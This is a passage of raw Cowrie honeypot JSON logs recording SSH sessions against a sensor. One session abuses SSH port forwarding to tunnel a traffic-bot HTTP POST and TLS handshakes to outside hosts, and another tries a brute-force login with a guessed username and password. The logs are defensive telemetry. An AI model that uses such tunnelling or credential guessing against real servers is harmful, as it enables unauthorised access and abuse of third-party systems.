{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:41.735326Z","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:41.750989Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZVJ9MmQkPExWSH1%2BcXo0Vw%3D%3D9nTQic0LHqEDtdF6WbpdqDBcEg7nrp7jJZOr2wwHVwFrZ5vxKz3d%2BayVcrpwsEFyB5MiQrZc9hkDN0vRJzsiL3bKPxGI6p3CBYOQXurLoPqjL4w48StQTbEy1axmq%2F6k2tUcQOeXm52mDDTioJHjKOt45QmS3Pl%2Fcg0SfbCBKS9C6xXOIuaLLJkze77dBATtiYsTWnqpWDnngI2PovSmtblhJbQEaz4rzcYHqj5RTPm9QN3rCSgPpd8lY9FTFrcZEVA6E0hDSA3YypNBJprV6nUANJ55p%2FJe8iDvAARBGGIVAeaMuKe%2Fk9kI8XAQItaKoLAyP76fdb6GwgWTsxzzg6K7v16d06PEHjba7VPsSQIzlCVC6ZIYVAonr%2F%2FO%2BvQnvSpBxIFokC8o95HrQMCfnNWwS5ALXi0Atgc3LttLd86jCJ%2BJC9c5E0Fmc79zZb0eQOduniJ5mt8ereYzlrnuAQDoEd6eYJxX6bgXbAAk9Bv4bs4Zo1A4VhS8QKX3YO5H3yKICNlbzv6UJfxTTZIqnSm6GyJCY9bkaCaMfGIIACuASmxG0tyOuNg8S06whoQ3UoZtGrWrpcMaA%2BN1aLxAG72waMnvPC1kqfdv01kGcq9ImrZddgXa5YlFMMACDqbpGsV%2BTxah2igsbKjdDdxkqasdWHtsfHaLokPGCobpLXtwNLqKx%2Bsa%2F5gOweoF2fRomBX1gsrm176Vr08m7Fe%2B4uzmh2f9VbEfz30Pp3Rfvi3xoYTQiF1IN0jxTnoPPZ1zYq53JozBUAkU9K3bz5aR3Zktdap2IIaJ0X1ZleClT%2FecN2rUpbmE8B%2BRvno7YRii7smyEAHtObUtT3s%2BA09a7b4ClSqyXyNrIq5CXHRU1V5QQ1IymZLI%2BKj%2BnArtD5ePpAzn8XMqRobNZNKLLfNRHDkEwcTnYHTFtk7mMcGHf3zKY%2FHwLoDAW83uWy9yEATU6YirdO3gjFabLgu6omAhogGOrzNP3PvKmVtXZdVyBzOpLgOWTgOoeZYX6%2BbMXAtv5PyvHFN5PXyhhOFN7F3JpxRQZn65FGjSBxiLsrWpvcewDNQhXWPCL7RfEwoN0B91'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZVJ9MmQkPExWSH1%2BcXo0Vw%3D%3D9nTQic0LHqEDtdF6WbpdqDBcEg7nrp7jJZOr2wwHVwFrZ5vxKz3d%2BayVcrpwsEFyB5MiQrZc9hkDN0vRJzsiL3bKPxGI6p3CBYOQXurLoPqjL4w48StQTbEy1axmq%2F6k2tUcQOeXm52mDDTioJHjKOt45QmS3Pl%2Fcg0SfbCBKS9C6xXOIuaLLJkze77dBATtiYsTWnqpWDnngI2PovSmtblhJbQEaz4rzcYHqj5RTPm9QN3rCSgPpd8lY9FTFrcZEVA6E0hDSA3YypNBJprV6nUANJ55p%2FJe8iDvAARBGGIVAeaMuKe%2Fk9kI8XAQItaKoLAyP76fdb6GwgWTsxzzg6K7v16d06PEHjba7VPsSQIzlCVC6ZIYVAonr%2F%2FO%2BvQnvSpBxIFokC8o95HrQMCfnNWwS5ALXi0Atgc3LttLd86jCJ%2BJC9c5E0Fmc79zZb0eQOduniJ5mt8ereYzlrnuAQDoEd6eYJxX6bgXbAAk9Bv4bs4Zo1A4VhS8QKX3YO5H3yKICNlbzv6UJfxTTZIqnSm6GyJCY9bkaCaMfGIIACuASmxG0tyOuNg8S06whoQ3UoZtGrWrpcMaA%2BN1aLxAG72waMnvPC1kqfdv01kGcq9ImrZddgXa5YlFMMACDqbpGsV%2BTxah2igsbKjdDdxkqasdWHtsfHaLokPGCobpLXtwNLqKx%2Bsa%2F5gOweoF2fRomBX1gsrm176Vr08m7Fe%2B4uzmh2f9VbEfz30Pp3Rfvi3xoYTQiF1IN0jxTnoPPZ1zYq53JozBUAkU9K3bz5aR3Zktdap2IIaJ0X1ZleClT%2FecN2rUpbmE8B%2BRvno7YRii7smyEAHtObUtT3s%2BA09a7b4ClSqyXyNrIq5CXHRU1V5QQ1IymZLI%2BKj%2BnArtD5ePpAzn8XMqRobNZNKLLfNRHDkEwcTnYHTFtk7mMcGHf3zKY%2FHwLoDAW83uWy9yEATU6YirdO3gjFabLgu6omAhogGOrzNP3PvKmVtXZdVyBzOpLgOWTgOoeZYX6%2BbMXAtv5PyvHFN5PXyhhOFN7F3JpxRQZn65FGjSBxiLsrWpvcewDNQhXWPCL7RfEwoN0B91'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:41.754209Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:41.778006Z","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:41.793367Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O\\xac\\x7f~&1\\xcas\\xfe}\\xc2\\x14\\x93\\xfdJx\\xc9\\x84\\tc\\xf7\\x03\\xe3:\\xd8\\x1d\\x9a@\\x17^U) \\x08\\xdc\\x05\\xfb\\xbe\\xcb\\xe8\\x12\\xdff\\x15\\x16sJ\\xe5\\x89\\xfd#Gm\\xcb\\x81]\\x8f\\xdd\\x00r$\\xa4\\x8b\\xbdS\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf38s\"\\x92\\x93 b\\x11\\xe3Vv\\x91\\xd3\\x8b\\xdb\\x0c\\x19\\xef6:\\xcdv&\\xb1\\xc9Y\\xa5H\\xe6gk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O\\xac\\x7f~&1\\xcas\\xfe}\\xc2\\x14\\x93\\xfdJx\\xc9\\x84\\tc\\xf7\\x03\\xe3:\\xd8\\x1d\\x9a@\\x17^U) \\x08\\xdc\\x05\\xfb\\xbe\\xcb\\xe8\\x12\\xdff\\x15\\x16sJ\\xe5\\x89\\xfd#Gm\\xcb\\x81]\\x8f\\xdd\\x00r$\\xa4\\x8b\\xbdS\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf38s\"\\x92\\x93 b\\x11\\xe3Vv\\x91\\xd3\\x8b\\xdb\\x0c\\x19\\xef6:\\xcdv&\\xb1\\xc9Y\\xa5H\\xe6gk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:41.796503Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:41.993674Z","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:42.006012Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x0e\\x1c\\x18u\\x8e3-{\\x11\\xc1&\\xcc)\\x80=\\xb2m)%\\x94^mz\\xc4\\xcc\\x8d5N\\xf15\\x83 \\x04\\xde\\xd1\\xe8b\\xda\\x89\\x8c\\xb9>\\r)S\\x8f\\xf9Xl\\xe6d\\xd2\\x04\\x02\\xc6\\xadNd\\xe4\\xf4\\x06R;\\x8d\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 Kp\\x8dN\\xe6Qa9\\xe5\\x92\\xaaV\\x9b\\x96V\\x13\\xbf\\x17\\xb5\\xaf\\x0f\\xb8g\\x86\\x11M\\xe0\\xdd@\\xb2\\xce@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x0e\\x1c\\x18u\\x8e3-{\\x11\\xc1&\\xcc)\\x80=\\xb2m)%\\x94^mz\\xc4\\xcc\\x8d5N\\xf15\\x83 \\x04\\xde\\xd1\\xe8b\\xda\\x89\\x8c\\xb9>\\r)S\\x8f\\xf9Xl\\xe6d\\xd2\\x04\\x02\\xc6\\xadNd\\xe4\\xf4\\x06R;\\x8d\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 Kp\\x8dN\\xe6Qa9\\xe5\\x92\\xaaV\\x9b\\x96V\\x13\\xbf\\x17\\xb5\\xaf\\x0f\\xb8g\\x86\\x11M\\xe0\\xdd@\\xb2\\xce@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:42.008851Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33772,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f156bda37e0","protocol":"ssh","message":"New connection: 91.92.40.36:33772 (159.203.135.109:22) [session: 1f156bda37e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:43.323052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:43.778250Z","src_ip":"91.92.40.36","session":"1f156bda37e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:43.783633Z","src_ip":"91.92.40.36","session":"1f156bda37e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travon","password":"travon","message":"login attempt [travon/travon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:46.173915Z","src_ip":"91.92.40.36","session":"1f156bda37e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:47.468766Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:47.894555Z","src_ip":"91.92.40.36","session":"1f156bda37e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21612,"dst_ip":"159.203.135.109","dst_port":22,"session":"073a76ffa429","protocol":"ssh","message":"New connection: 91.92.40.36:21612 (159.203.135.109:22) [session: 073a76ffa429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:53.003225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:53.532506Z","src_ip":"91.92.40.36","session":"073a76ffa429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@opens